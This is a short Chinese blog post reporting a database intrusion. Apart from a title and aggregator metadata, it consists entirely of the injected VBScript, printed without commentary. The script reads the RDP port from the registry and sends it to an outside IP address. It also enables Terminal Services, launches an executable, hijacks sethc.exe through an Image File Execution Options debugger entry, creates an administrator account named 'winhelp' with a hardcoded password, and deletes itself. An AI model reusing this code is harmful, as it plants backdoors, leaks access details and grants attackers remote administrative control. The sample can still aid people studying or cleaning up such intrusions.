数据库被入侵了，被注入的脚步如下

来源：互联网发布：linux提取dsdt 编辑：程序博客网时间：2024/04/27 14:49

on error resume nextSet fso8 = CreateObject("Scripting.FileSystemObject")Set ObjFSO2 = CreateObject("Scripting.FileSystemObject")If fso8.FileExists("C:\WINDOWS\Help\cnwb.html") Then ObjFSO2.DeleteFile Wscript.ScriptFullNameWScript.quitelseend ifSet OperationRegistry=WScript.createObject("WScript.Shell") Dim TSPort,TSState,TSRegPath TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" TSPort=OperationRegistry.RegRead(TSRegPath) Set xPost=CreateObject("Microsoft.XMLHTTP") xPost.Open "GET","http://42.51.151.7:8002/mof.asp?IPnumber=" & TSPort,0 xPost.Send() set obj=wscript.createObject("wscript.shell") obj.Run "cmd /c sc config TermService start= auto",vbhideobj.Run "cmd /c sc start TermService",vbhideobj.Run "cmd /c start c:/windows/system/const.exe",vbhideSet WshShell = WScript.CreateObject("WScript.Shell")WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\debugger",WScript.CreateObject("WScript.shell").ExpandEnvironmentStrings("%SystemRoot%")&"\system32\taskmgr.exe","REG_SZ"Set o=CreateObject("Shell.Users")Set z=o.create("winhelp")z.changePassword "85760042aa!@#",""z.setting("AccountType")=3Set ObjFSO = CreateObject("Scripting.FileSystemObject")ObjFSO.DeleteFile Wscript.ScriptFullNameWScript.quit

0 0